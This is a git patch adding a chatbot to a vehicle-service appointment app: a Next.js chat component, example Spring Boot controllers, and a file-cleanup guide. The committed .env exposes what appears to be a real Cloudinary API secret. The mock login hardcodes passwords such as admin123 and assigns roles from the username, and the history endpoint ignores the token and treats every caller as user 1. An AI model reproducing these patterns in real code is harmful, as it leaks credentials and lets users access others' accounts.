From 78f01170216223ac12fda0bd7f78fd4d2d755f46 Mon Sep 17 00:00:00 2001 From: LakshanRajapaksha01 Date: Fri, 7 Nov 2025 19:10:13 +0530 Subject: [PATCH] Chatbot frontend --- .env | 3 + .env.local.example | 5 + .gitignore | 1 + AuthController.java | 321 +++++++++++++++ ChatController.java | 212 ++++++++++ ChatbotController.java | 180 +++++++++ FILES_TO_DELETE.md | 153 +++++++ .../app/customer/components/ChatBot.tsx | 379 ++++++++++++++++++ .../app/customer/components/ChatBotButton.tsx | 61 +++ .../customer/components/ChatBotExamples.tsx | 182 +++++++++ .../components/CustomerLayoutWrapper.tsx | 23 ++ .../app/customer/my-appointments/page.tsx | 223 +++++++---- asms_frontend/app/customer/page.tsx | 317 ++++++++++----- asms_frontend/app/globals.css | 16 + asms_frontend/app/lib/chatbotApi.ts | 311 ++++++++++++++ asms_frontend/postcss.config.mjs | 6 +- 16 files changed, 2220 insertions(+), 173 deletions(-) create mode 100644 .env.local.example create mode 100644 .gitignore create mode 100644 AuthController.java create mode 100644 ChatController.java create mode 100644 ChatbotController.java create mode 100644 FILES_TO_DELETE.md create mode 100644 asms_frontend/app/customer/components/ChatBot.tsx create mode 100644 asms_frontend/app/customer/components/ChatBotButton.tsx create mode 100644 asms_frontend/app/customer/components/ChatBotExamples.tsx create mode 100644 asms_frontend/app/customer/components/CustomerLayoutWrapper.tsx create mode 100644 asms_frontend/app/lib/chatbotApi.ts diff --git a/.env b/.env index 6a66a06..3487b11 100644 --- a/.env +++ b/.env @@ -2,3 +2,6 @@ NEXT_PUBLIC_API_URL=http://localhost:8080 NEXT_PUBLIC_CLOUDINARY_CLOUD_NAME=dpapypflg NEXT_PUBLIC_CLOUDINARY_UPLOAD_PRESET=asms_services CLOUDINARY_URL=cloudinary://843382678231474:uu7V3kK3MqJY8P2FnDcM4s6cz5E@dpapypflg + +# Chatbot API Configuration +NEXT_PUBLIC_CHATBOT_API=http://localhost:8080/api/chatbot \ No newline at end of file diff --git a/.env.local.example b/.env.local.example new file mode 100644 index 0000000..ee3f842 --- /dev/null +++ b/.env.local.example @@ -0,0 +1,5 @@ +# Chatbot Configuration +NEXT_PUBLIC_CHATBOT_API=http://localhost:8080/api/chat +NEXT_PUBLIC_CHATBOT_WS=ws://localhost:8080/ws/chat + +# Add other environment variables below diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a68c51f --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +config.bat diff --git a/AuthController.java b/AuthController.java new file mode 100644 index 0000000..74285e2 --- /dev/null +++ b/AuthController.java @@ -0,0 +1,321 @@ +/* + * Spring Boot Authentication Controller + * + * This controller handles user login/authentication + * Place this in your Spring Boot project + * + * Package: com.yourpackage.controller (or your package structure) + * File: AuthController.java + */ + +package com.yourpackage.controller; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.*; + +import java.util.HashMap; +import java.util.Map; + +@RestController +@RequestMapping("/api/auth") +@CrossOrigin(origins = {"http://localhost:3000", "http://localhost:3001"}) +public class AuthController { + + // If you have a UserService, inject it here + // @Autowired + // private UserService userService; + + @PostMapping("/login") + public ResponseEntity login(@RequestBody LoginRequest loginRequest) { + + String username = loginRequest.getUsername(); + String password = loginRequest.getPassword(); + + System.out.println("Login attempt - Username: " + username); + + // TODO: Replace this with actual authentication logic + // This is just a mock implementation for testing + + // Option 1: Mock authentication (for testing) + if (authenticateUser(username, password)) { + Map response = new HashMap<>(); + response.put("id", 1); + response.put("username", username); + response.put("email", username + "@example.com"); + response.put("role", determineUserRole(username)); + response.put("token", "mock-jwt-token-" + System.currentTimeMillis()); + + return ResponseEntity.ok(response); + } else { + Map error = new HashMap<>(); + error.put("message", "Invalid username or password"); + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(error); + } + + // Option 2: With UserService (uncomment when you have UserService) + /* + try { + User user = userService.authenticate(username, password); + if (user != null) { + Map response = new HashMap<>(); + response.put("id", user.getId()); + response.put("username", user.getUsername()); + response.put("email", user.getEmail()); + response.put("role", user.getRole()); + response.put("token", generateJwtToken(user)); + + return ResponseEntity.ok(response); + } else { + Map error = new HashMap<>(); + error.put("message", "Invalid username or password"); + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(error); + } + } catch (Exception e) { + Map error = new HashMap<>(); + error.put("message", "Login failed: " + e.getMessage()); + return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(error); + } + */ + } + + // Mock authentication method (replace with real authentication) + private boolean authenticateUser(String username, String password) { + // TODO: Replace with actual database authentication + + // For testing purposes - accept these credentials: + // Admin: username="admin", password="admin123" + // Customer: username="customer", password="customer123" + // Employee: username="employee", password="employee123" + + if ("admin".equals(username) && "admin123".equals(password)) { + return true; + } + if ("customer".equals(username) && "customer123".equals(password)) { + return true; + } + if ("employee".equals(username) && "employee123".equals(password)) { + return true; + } + + // Add more test users or connect to database + return false; + } + + // Determine user role based on username (mock implementation) + private String determineUserRole(String username) { + // TODO: Get role from database + + if (username.toLowerCase().contains("admin")) { + return "ADMIN"; + } else if (username.toLowerCase().contains("employee")) { + return "EMPLOYEE"; + } else { + return "CUSTOMER"; + } + } + + // Request DTO + public static class LoginRequest { + private String username; + private String password; + + // Constructors + public LoginRequest() {} + + public LoginRequest(String username, String password) { + this.username = username; + this.password = password; + } + + // Getters and Setters + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + } +} + + +/* + * ================================================================ + * PRODUCTION-READY VERSION WITH DATABASE AND JWT + * ================================================================ + * + * If you want a more complete implementation with database + * authentication and JWT tokens, use this version instead: + */ + +/* +package com.yourpackage.controller; + +import com.yourpackage.entity.User; +import com.yourpackage.service.UserService; +import com.yourpackage.security.JwtTokenProvider; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; +import org.springframework.security.core.Authentication; +import org.springframework.security.core.AuthenticationException; +import org.springframework.web.bind.annotation.*; + +import java.util.HashMap; +import java.util.Map; + +@RestController +@RequestMapping("/api/auth") +@CrossOrigin(origins = {"http://localhost:3000", "http://localhost:3001"}) +public class AuthController { + + @Autowired + private AuthenticationManager authenticationManager; + + @Autowired + private UserService userService; + + @Autowired + private JwtTokenProvider jwtTokenProvider; + + @PostMapping("/login") + public ResponseEntity login(@RequestBody LoginRequest loginRequest) { + try { + // Authenticate user + Authentication authentication = authenticationManager.authenticate( + new UsernamePasswordAuthenticationToken( + loginRequest.getUsername(), + loginRequest.getPassword() + ) + ); + + // Get user details + User user = userService.findByUsername(loginRequest.getUsername()); + + // Generate JWT token + String token = jwtTokenProvider.generateToken(authentication); + + // Prepare response + Map response = new HashMap<>(); + response.put("id", user.getId()); + response.put("username", user.getUsername()); + response.put("email", user.getEmail()); + response.put("role", user.getRole()); + response.put("token", token); + + return ResponseEntity.ok(response); + + } catch (AuthenticationException e) { + Map error = new HashMap<>(); + error.put("message", "Invalid username or password"); + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(error); + } catch (Exception e) { + Map error = new HashMap<>(); + error.put("message", "Login failed: " + e.getMessage()); + return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(error); + } + } + + @PostMapping("/register") + public ResponseEntity register(@RequestBody RegisterRequest registerRequest) { + try { + // Check if user already exists + if (userService.existsByUsername(registerRequest.getUsername())) { + Map error = new HashMap<>(); + error.put("message", "Username already exists"); + return ResponseEntity.status(HttpStatus.BAD_REQUEST).body(error); + } + + if (userService.existsByEmail(registerRequest.getEmail())) { + Map error = new HashMap<>(); + error.put("message", "Email already exists"); + return ResponseEntity.status(HttpStatus.BAD_REQUEST).body(error); + } + + // Create new user + User user = userService.createUser(registerRequest); + + Map response = new HashMap<>(); + response.put("message", "User registered successfully"); + response.put("username", user.getUsername()); + + return ResponseEntity.status(HttpStatus.CREATED).body(response); + + } catch (Exception e) { + Map error = new HashMap<>(); + error.put("message", "Registration failed: " + e.getMessage()); + return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(error); + } + } + + // DTOs + public static class LoginRequest { + private String username; + private String password; + + // Getters and Setters + public String getUsername() { return username; } + public void setUsername(String username) { this.username = username; } + public String getPassword() { return password; } + public void setPassword(String password) { this.password = password; } + } + + public static class RegisterRequest { + private String username; + private String email; + private String password; + private String role; + + // Getters and Setters + public String getUsername() { return username; } + public void setUsername(String username) { this.username = username; } + public String getEmail() { return email; } + public void setEmail(String email) { this.email = email; } + public String getPassword() { return password; } + public void setPassword(String password) { this.password = password; } + public String getRole() { return role; } + public void setRole(String role) { this.role = role; } + } +} +*/ + + +/* + * ================================================================ + * CORS CONFIGURATION (if @CrossOrigin doesn't work) + * ================================================================ + */ + +/* +package com.yourpackage.config; + +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.CorsRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +@Configuration +public class WebConfig implements WebMvcConfigurer { + + @Override + public void addCorsMappings(CorsRegistry registry) { + registry.addMapping("/api/**") + .allowedOrigins("http://localhost:3000", "http://localhost:3001") + .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS") + .allowedHeaders("*") + .allowCredentials(false) + .maxAge(3600); + } +} +*/ diff --git a/ChatController.java b/ChatController.java new file mode 100644 index 0000000..6e5c993 --- /dev/null +++ b/ChatController.java @@ -0,0 +1,212 @@ +/* + * SPRING BOOT CHATBOT CONTROLLER EXAMPLE + * + * This is an example controller for your Spring Boot backend. + * Place this in your Spring Boot project. + * + * Package: com.vxservice.controller (or your package structure) + */ + +package com.vxservice.controller; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.*; +import java.time.LocalDateTime; + +@RestController +@RequestMapping("/api/chat") +@CrossOrigin(origins = "http://localhost:3000") // Allow requests from Next.js frontend +public class ChatController { + + // POST endpoint to handle chat messages + @PostMapping + public ResponseEntity handleChatMessage(@RequestBody ChatRequest request) { + + String userMessage = request.getMessage(); + String userId = request.getUserId(); + + System.out.println("Received message from user " + userId + ": " + userMessage); + + // Process the message and generate a response + String botResponse = generateBotResponse(userMessage, userId); + + // Create response object + ChatResponse response = new ChatResponse(); + response.setResponse(botResponse); + response.setTimestamp(LocalDateTime.now().toString()); + + return ResponseEntity.ok(response); + } + + // Simple bot logic - replace with your AI/NLP service + private String generateBotResponse(String userMessage, String userId) { + String message = userMessage.toLowerCase(); + + // Simple keyword-based responses + if (message.contains("appointment") && message.contains("book")) { + return "I can help you book an appointment! What type of service do you need? " + + "We offer oil changes, brake services, tire rotations, and more."; + } else if (message.contains("appointment") && message.contains("check")) { + return "I'll help you check your appointment status. Could you please provide " + + "your appointment ID or registration number?"; + } else if (message.contains("services") || message.contains("service")) { + return "We offer a wide range of services including:\n" + + "• Regular Maintenance (Oil Change, Filter Replacement)\n" + + "• Brake Services\n" + + "• Tire Services\n" + + "• Engine Diagnostics\n" + + "• AC Services\n" + + "Would you like to know more about any specific service?"; + } else if (message.contains("cancel")) { + return "I understand you want to cancel an appointment. Please provide your " + + "appointment ID, and I'll help you with the cancellation process."; + } else if (message.contains("reschedule")) { + return "I can help you reschedule your appointment. Please provide your " + + "appointment ID and the new preferred date and time."; + } else if (message.contains("support") || message.contains("help")) { + return "I'm here to help! You can:\n" + + "• Book a new appointment\n" + + "• Check appointment status\n" + + "• View our services\n" + + "• Reschedule or cancel appointments\n" + + "What would you like assistance with?"; + } else if (message.contains("hours") || message.contains("timing")) { + return "We're open Monday to Saturday, 8:00 AM to 6:00 PM. " + + "We're closed on Sundays and public holidays."; + } else if (message.contains("location") || message.contains("address")) { + return "We're located at 123 Service Street, City Center. " + + "You can find us easily using Google Maps. Would you like directions?"; + } else if (message.contains("price") || message.contains("cost")) { + return "Our pricing varies by service. Could you let me know which specific " + + "service you're interested in? I'll provide you with accurate pricing information."; + } else if (message.contains("hello") || message.contains("hi")) { + return "Hello! Welcome to VX Service. How can I assist you today?"; + } else if (message.contains("thank")) { + return "You're welcome! Is there anything else I can help you with?"; + } else { + // Default response for unrecognized messages + return "I understand you said: '" + userMessage + "'. " + + "I'm here to help with appointments, services, and general inquiries. " + + "Could you please provide more details about what you need?"; + } + } + + // Inner classes for request/response (or create separate files) + public static class ChatRequest { + private String message; + private String userId; + private String timestamp; + + // Getters and Setters + public String getMessage() { + return message; + } + + public void setMessage(String message) { + this.message = message; + } + + public String getUserId() { + return userId; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + public String getTimestamp() { + return timestamp; + } + + public void setTimestamp(String timestamp) { + this.timestamp = timestamp; + } + } + + public static class ChatResponse { + private String response; + private String timestamp; + + // Getters and Setters + public String getResponse() { + return response; + } + + public void setResponse(String response) { + this.response = response; + } + + public String getTimestamp() { + return timestamp; + } + + public void setTimestamp(String timestamp) { + this.timestamp = timestamp; + } + } +} + +/* + * ALTERNATIVE: If you want to integrate with AI services like OpenAI, + * Dialogflow, etc. + * + * Add dependencies in pom.xml or build.gradle, then: + */ + +/* + * @Service + * public class ChatbotService { + * + * // Example: OpenAI Integration + * + * @Autowired + * private OpenAiService openAiService; + * + * public String processMessage(String message, String userId) { + * // Call your AI service + * return openAiService.generateResponse(message); + * } + * + * // Example: Database Integration + * + * @Autowired + * private ConversationRepository conversationRepository; + * + * public void saveConversation(String userId, String message, String response) + * { + * Conversation conv = new Conversation(); + * conv.setUserId(userId); + * conv.setUserMessage(message); + * conv.setBotResponse(response); + * conv.setTimestamp(LocalDateTime.now()); + * conversationRepository.save(conv); + * } + * } + */ + +/* + * CORS Configuration (if @CrossOrigin doesn't work) + * + * Create a separate configuration class: + */ + +/* + * package com.vxservice.config; + * + * import org.springframework.context.annotation.Configuration; + * import org.springframework.web.servlet.config.annotation.CorsRegistry; + * import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + * + * @Configuration + * public class WebConfig implements WebMvcConfigurer { + * + * @Override + * public void addCorsMappings(CorsRegistry registry) { + * registry.addMapping("/api/**") + * .allowedOrigins("http://localhost:3000", "http://localhost:3001") + * .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS") + * .allowedHeaders("*") + * .allowCredentials(true); + * } + * } + */ diff --git a/ChatbotController.java b/ChatbotController.java new file mode 100644 index 0000000..ef947da --- /dev/null +++ b/ChatbotController.java @@ -0,0 +1,180 @@ +package com.asms.controller; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.*; +import java.util.*; + +@RestController +@RequestMapping("/api/chatbot") +@CrossOrigin(origins = "http://localhost:3000") +public class ChatbotController { + + // Simple in-memory storage (replace with database in production) + private Map> chatHistoryMap = new HashMap<>(); + + /** + * POST /api/chatbot/chat - Send a message and get a response + * + * Request body: + * { + * "message": "Hello", + * "userId": 1 + * } + */ + @PostMapping("/chat") + public ResponseEntity chat(@RequestBody ChatRequest request, + @RequestHeader("Authorization") String authHeader) { + try { + String userMessage = request.getMessage(); + Integer userId = request.getUserId(); + + // Simple chatbot logic (replace with your AI/ML service) + String botResponse = generateResponse(userMessage); + + // Save to history + ChatHistory history = new ChatHistory(); + history.setId(generateId()); + history.setMessage(userMessage); + history.setResponse(botResponse); + history.setTimestamp(new Date()); + history.setUserId(userId); + + chatHistoryMap.computeIfAbsent(userId, k -> new ArrayList<>()).add(history); + + // Return response + Map response = new HashMap<>(); + response.put("success", true); + response.put("message", botResponse); + response.put("timestamp", history.getTimestamp()); + + return ResponseEntity.ok(response); + + } catch (Exception e) { + Map errorResponse = new HashMap<>(); + errorResponse.put("success", false); + errorResponse.put("message", "Error processing your message: " + e.getMessage()); + return ResponseEntity.status(500).body(errorResponse); + } + } + + /** + * GET /api/chatbot/history - Get chat history for logged-in user + */ + @GetMapping("/history") + public ResponseEntity getHistory(@RequestHeader("Authorization") String authHeader) { + try { + // Extract userId from token (you'll need to implement this based on your JWT setup) + Integer userId = extractUserIdFromToken(authHeader); + + List history = chatHistoryMap.getOrDefault(userId, new ArrayList<>()); + + Map response = new HashMap<>(); + response.put("success", true); + response.put("data", history); + + return ResponseEntity.ok(response); + + } catch (Exception e) { + Map errorResponse = new HashMap<>(); + errorResponse.put("success", false); + errorResponse.put("message", "Error fetching history: " + e.getMessage()); + return ResponseEntity.status(500).body(errorResponse); + } + } + + /** + * DELETE /api/chatbot/history - Clear chat history + */ + @DeleteMapping("/history") + public ResponseEntity clearHistory(@RequestHeader("Authorization") String authHeader) { + try { + Integer userId = extractUserIdFromToken(authHeader); + chatHistoryMap.remove(userId); + + Map response = new HashMap<>(); + response.put("success", true); + response.put("message", "Chat history cleared successfully"); + + return ResponseEntity.ok(response); + + } catch (Exception e) { + Map errorResponse = new HashMap<>(); + errorResponse.put("success", false); + errorResponse.put("message", "Error clearing history: " + e.getMessage()); + return ResponseEntity.status(500).body(errorResponse); + } + } + + // Helper method to generate chatbot response + private String generateResponse(String userMessage) { + String message = userMessage.toLowerCase(); + + // Service-related responses + if (message.contains("service") || message.contains("appointment")) { + return "I can help you with our services! We offer vehicle maintenance, repairs, and inspections. Would you like to book an appointment?"; + } else if (message.contains("price") || message.contains("cost")) { + return "Our pricing varies based on the service. Please select a service from the booking wizard to see detailed pricing."; + } else if (message.contains("hours") || message.contains("open")) { + return "We're open Monday-Friday: 8AM-6PM, Saturday: 9AM-4PM, and closed on Sundays."; + } else if (message.contains("location") || message.contains("where")) { + return "We're located at 123 Main Street. You can find directions in our contact section."; + } else if (message.contains("cancel") || message.contains("reschedule")) { + return "You can manage your appointments from the 'My Appointments' page. Need help with a specific appointment?"; + } else if (message.contains("hello") || message.contains("hi")) { + return "Hello! How can I assist you with your vehicle service needs today?"; + } else if (message.contains("thank")) { + return "You're welcome! Feel free to ask if you need anything else."; + } else { + return "I'm here to help! You can ask me about services, appointments, pricing, or hours. What would you like to know?"; + } + } + + // Helper method to extract user ID from JWT token + private Integer extractUserIdFromToken(String authHeader) { + // TODO: Implement JWT token parsing to extract userId + // For now, return a default value + // You should use your existing JWT utility class here + + // Example: + // String token = authHeader.replace("Bearer ", ""); + // return jwtUtil.getUserIdFromToken(token); + + return 1; // Replace with actual implementation + } + + // Helper method to generate unique ID + private int idCounter = 1; + private int generateId() { + return idCounter++; + } + + // Request/Response classes + static class ChatRequest { + private String message; + private Integer userId; + + public String getMessage() { return message; } + public void setMessage(String message) { this.message = message; } + public Integer getUserId() { return userId; } + public void setUserId(Integer userId) { this.userId = userId; } + } + + static class ChatHistory { + private Integer id; + private String message; + private String response; + private Date timestamp; + private Integer userId; + + public Integer getId() { return id; } + public void setId(Integer id) { this.id = id; } + public String getMessage() { return message; } + public void setMessage(String message) { this.message = message; } + public String getResponse() { return response; } + public void setResponse(String response) { this.response = response; } + public Date getTimestamp() { return timestamp; } + public void setTimestamp(Date timestamp) { this.timestamp = timestamp; } + public Integer getUserId() { return userId; } + public void setUserId(Integer userId) { this.userId = userId; } + } +} diff --git a/FILES_TO_DELETE.md b/FILES_TO_DELETE.md new file mode 100644 index 0000000..5365614 --- /dev/null +++ b/FILES_TO_DELETE.md @@ -0,0 +1,153 @@ +# 🗑️ Files Safe to Delete + +All these files were created during development/testing and are no longer needed now that your chatbot is working. + +## ✅ Safe to Delete - Documentation Files + +### Root Directory Documentation +``` +❌ CONNECTION_CHECKLIST.md - Backend connection guide (no longer needed) +❌ FIXING_CHATBOT_ERRORS.md - Error fixing guide (resolved) +❌ FIX_LOGIN_404_ERROR.md - Login error guide (resolved) +❌ QUICK_START.md - Quick start guide (testing only) +❌ FILES_TO_DELETE.md - This file (delete after reviewing) +``` + +### Component Documentation +``` +❌ asms_frontend/app/customer/components/CHATBOT_USAGE.md - Usage guide (optional to keep) +``` + +--- + +## ✅ Safe to Delete - Example Java Files + +These were example backend controllers I created for reference: + +``` +❌ AuthController.java - Example auth controller (you have your own) +❌ ChatbotController.java - Example chatbot controller (should be in your Spring Boot project) +❌ ChatController.java - Duplicate/alternative example +``` + +**⚠️ Important:** If you haven't added the chatbot controller to your Spring Boot backend yet, copy `ChatbotController.java` to your backend project first, then delete it from here. + +--- + +## ✅ Safe to Delete - Test Scripts + +``` +❌ test-connection.ps1 - PowerShell test script (if exists) +❌ test-backend.ps1 - Backend test script (if exists) +``` + +--- + +## 🔒 KEEP These Files (Do NOT Delete) + +### Essential Project Files +``` +✅ README.md - Your main project README (KEEP) +✅ asms_frontend/README.md - Next.js project README (KEEP) +✅ .env - Environment variables (KEEP - Required!) +✅ .env.local.example - Example env file (KEEP for reference) +``` + +### All Your Code Files (KEEP ALL) +``` +✅ asms_frontend/app/**/* - All your application code +✅ asms_frontend/package.json - Dependencies +✅ asms_frontend/tsconfig.json - TypeScript config +✅ asms_frontend/next.config.ts - Next.js config +✅ All .tsx, .ts, .css files - Your source code +``` + +--- + +## 🚀 Quick Delete Commands + +### Option 1: Delete Individually (Recommended) +```powershell +# From project root +cd "C:\Users\LAKSHAN\Documents\EAD Assignment\ASMS_Frontend" + +# Delete documentation files +Remove-Item CONNECTION_CHECKLIST.md -ErrorAction SilentlyContinue +Remove-Item FIXING_CHATBOT_ERRORS.md -ErrorAction SilentlyContinue +Remove-Item FIX_LOGIN_404_ERROR.md -ErrorAction SilentlyContinue +Remove-Item QUICK_START.md -ErrorAction SilentlyContinue +Remove-Item FILES_TO_DELETE.md -ErrorAction SilentlyContinue + +# Delete example Java files +Remove-Item AuthController.java -ErrorAction SilentlyContinue +Remove-Item ChatbotController.java -ErrorAction SilentlyContinue +Remove-Item ChatController.java -ErrorAction SilentlyContinue + +# Delete component documentation (optional) +Remove-Item asms_frontend\app\customer\components\CHATBOT_USAGE.md -ErrorAction SilentlyContinue + +# Delete test scripts if they exist +Remove-Item test-connection.ps1 -ErrorAction SilentlyContinue +Remove-Item test-backend.ps1 -ErrorAction SilentlyContinue +``` + +### Option 2: Interactive Delete (Safer) +```powershell +# This will ask for confirmation for each file +Remove-Item CONNECTION_CHECKLIST.md -Confirm +Remove-Item FIXING_CHATBOT_ERRORS.md -Confirm +Remove-Item FIX_LOGIN_404_ERROR.md -Confirm +# ... etc +``` + +--- + +## 📋 Summary + +### Total Files to Delete: **10-12 files** +- 5 Documentation files (*.md) +- 3 Example Java files (*.java) +- 1 Component documentation (optional) +- 2 Test scripts (if they exist) + +### Disk Space Saved: ~100-200 KB + +### Why Delete? +- ✨ Cleaner project structure +- 📦 Smaller repository size +- 🎯 Less confusion for other developers +- 🚀 Focus only on production code + +--- + +## ⚠️ Before Deleting + +1. **Backup Check**: Make sure your code is committed to Git + ```powershell + git status + git add . + git commit -m "Cleanup: Remove testing and documentation files" + ``` + +2. **Backend Check**: If you haven't added chatbot controller to your Spring Boot project, copy `ChatbotController.java` first! + +3. **Review**: Double-check you're not deleting anything important + +--- + +## ✅ After Deletion + +Your project structure will be clean: +``` +ASMS_Frontend/ +├── .env ← Keep +├── .env.local.example ← Keep +├── README.md ← Keep (your main README) +└── asms_frontend/ + ├── app/ ← All your code + ├── public/ ← Static assets + ├── package.json ← Dependencies + └── ... ← All your project files +``` + +Clean, professional, and production-ready! 🎉 diff --git a/asms_frontend/app/customer/components/ChatBot.tsx b/asms_frontend/app/customer/components/ChatBot.tsx new file mode 100644 index 0000000..12299e8 --- /dev/null +++ b/asms_frontend/app/customer/components/ChatBot.tsx @@ -0,0 +1,379 @@ +"use client"; +import React, { useState, useRef, useEffect } from "react"; +import { IoClose, IoSend } from "react-icons/io5"; +import { BiBot } from "react-icons/bi"; +import { FaUser } from "react-icons/fa"; +import { MdHistory, MdDelete } from "react-icons/md"; +import { + CHATBOT_CONFIG, + sendChatMessage, + getChatHistory, + deleteChatHistory, +} from "@/app/lib/chatbotApi"; + +interface Message { + id: string; + text: string; + sender: "user" | "bot"; + timestamp: Date; +} + +interface ChatBotProps { + isOpen: boolean; + onClose: () => void; + apiEndpoint?: string; + userId?: string; +} + +const ChatBot = ({ isOpen, onClose, apiEndpoint, userId }: ChatBotProps) => { + const [messages, setMessages] = useState([ + { + id: "1", + text: CHATBOT_CONFIG.welcomeMessage, + sender: "bot", + timestamp: new Date(), + }, + ]); + const [inputMessage, setInputMessage] = useState(""); + const [isTyping, setIsTyping] = useState(false); + const [error, setError] = useState(null); + const [showHistory, setShowHistory] = useState(false); + const [isLoggedIn, setIsLoggedIn] = useState(false); + const messagesEndRef = useRef(null); + + // Check if user is logged in + useEffect(() => { + if (typeof window !== "undefined") { + const userStr = localStorage.getItem("user"); + const token = + localStorage.getItem("token") || localStorage.getItem("authToken"); + + if (userStr) { + try { + const user = JSON.parse(userStr); + setIsLoggedIn(!!(user.token || token)); + } catch (e) { + setIsLoggedIn(!!token); + } + } else { + setIsLoggedIn(!!token); + } + } + }, [isOpen]); + + const scrollToBottom = () => { + messagesEndRef.current?.scrollIntoView({ behavior: "smooth" }); + }; + + useEffect(() => { + scrollToBottom(); + }, [messages]); + + // Load chat history when component opens + useEffect(() => { + if (isOpen) { + loadChatHistory(); + } + }, [isOpen]); + + const loadChatHistory = async () => { + try { + const result = await getChatHistory(); + if (result.success && result.data && result.data.length > 0) { + const historyMessages: Message[] = result.data.flatMap((item: any) => [ + { + id: `hist-user-${item.id}`, + text: item.message, + sender: "user" as const, + timestamp: new Date(item.timestamp), + }, + { + id: `hist-bot-${item.id}`, + text: item.response, + sender: "bot" as const, + timestamp: new Date(item.timestamp), + }, + ]); + + // Only show last 5 conversations (10 messages) + const recentHistory = historyMessages.slice(-10); + setMessages([ + { + id: "1", + text: CHATBOT_CONFIG.welcomeMessage, + sender: "bot", + timestamp: new Date(), + }, + ...recentHistory, + ]); + } + } catch (error) { + console.warn( + "Could not load chat history - backend may not be ready:", + error + ); + // Continue with welcome message only + } + }; + + const handleClearHistory = async () => { + if (confirm("Are you sure you want to clear all chat history?")) { + const result = await deleteChatHistory(); + if (result.success) { + setMessages([ + { + id: "1", + text: CHATBOT_CONFIG.welcomeMessage, + sender: "bot", + timestamp: new Date(), + }, + ]); + alert("Chat history cleared successfully!"); + } else { + alert(result.message || "Failed to clear history"); + } + } + }; + + const handleSendMessage = async () => { + if (inputMessage.trim() === "") return; + + // Clear any previous errors + setError(null); + + // Add user message + const userMessage: Message = { + id: Date.now().toString(), + text: inputMessage, + sender: "user", + timestamp: new Date(), + }; + + setMessages((prev) => [...prev, userMessage]); + const messageToSend = inputMessage; + setInputMessage(""); + setIsTyping(true); + + try { + // Send to backend and get response + const result = await sendChatMessage(messageToSend, userId); + + setIsTyping(false); + + if (result.success) { + // Add bot response + const botMessage: Message = { + id: (Date.now() + 1).toString(), + text: result.message, + sender: "bot", + timestamp: result.timestamp ? new Date(result.timestamp) : new Date(), + }; + setMessages((prev) => [...prev, botMessage]); + } else { + // Show error message + setError(result.message); + const errorMessage: Message = { + id: (Date.now() + 1).toString(), + text: + result.message || + "Sorry, I couldn't process your request. Please try again.", + sender: "bot", + timestamp: new Date(), + }; + setMessages((prev) => [...prev, errorMessage]); + } + } catch (error) { + setIsTyping(false); + console.error("Chat error:", error); + const errorMessage: Message = { + id: (Date.now() + 1).toString(), + text: "Sorry, the chatbot service is currently unavailable. Please make sure the backend is running and try again later.", + sender: "bot", + timestamp: new Date(), + }; + setMessages((prev) => [...prev, errorMessage]); + } + }; + + const handleKeyPress = (e: React.KeyboardEvent) => { + if (e.key === "Enter" && !e.shiftKey) { + e.preventDefault(); + handleSendMessage(); + } + }; + + const quickActions = CHATBOT_CONFIG.quickActions; + + const handleQuickAction = (action: string) => { + setInputMessage(action); + }; + + if (!isOpen) return null; + + return ( +
+ {/* Header */} +
+
+
+ +
+
+

ASMS Assistant

+

Online

+
+
+
+ + +
+
+ + {/* Error Banner */} + {error && ( +
+

{error}

+
+ )} + + {/* Messages Container */} +
+ {messages.map((message) => ( +
+ {/* Avatar */} +
+ {message.sender === "user" ? ( + + ) : ( + + )} +
+ + {/* Message Bubble */} +
+

{message.text}

+

+ {message.timestamp.toLocaleTimeString("en-US", { + hour: "2-digit", + minute: "2-digit", + })} +

+
+
+ ))} + + {/* Typing Indicator */} + {isTyping && ( +
+
+ +
+
+
+ + + +
+
+
+ )} +
+
+ + {/* Quick Actions */} + {isLoggedIn && ( +
+
+ {quickActions.map((action, index) => ( + + ))} +
+
+ )} + + {/* Input Area */} +
+ {!isLoggedIn ? ( +
+

+ Please log in to use the chatbot +

+ +
+ ) : ( +
+ setInputMessage(e.target.value)} + onKeyPress={handleKeyPress} + placeholder="Type your message..." + className="flex-1 border border-gray-300 rounded-full px-4 py-2 focus:outline-none focus:border-blue-500 text-sm" + disabled={isTyping} + /> + +
+ )} +
+
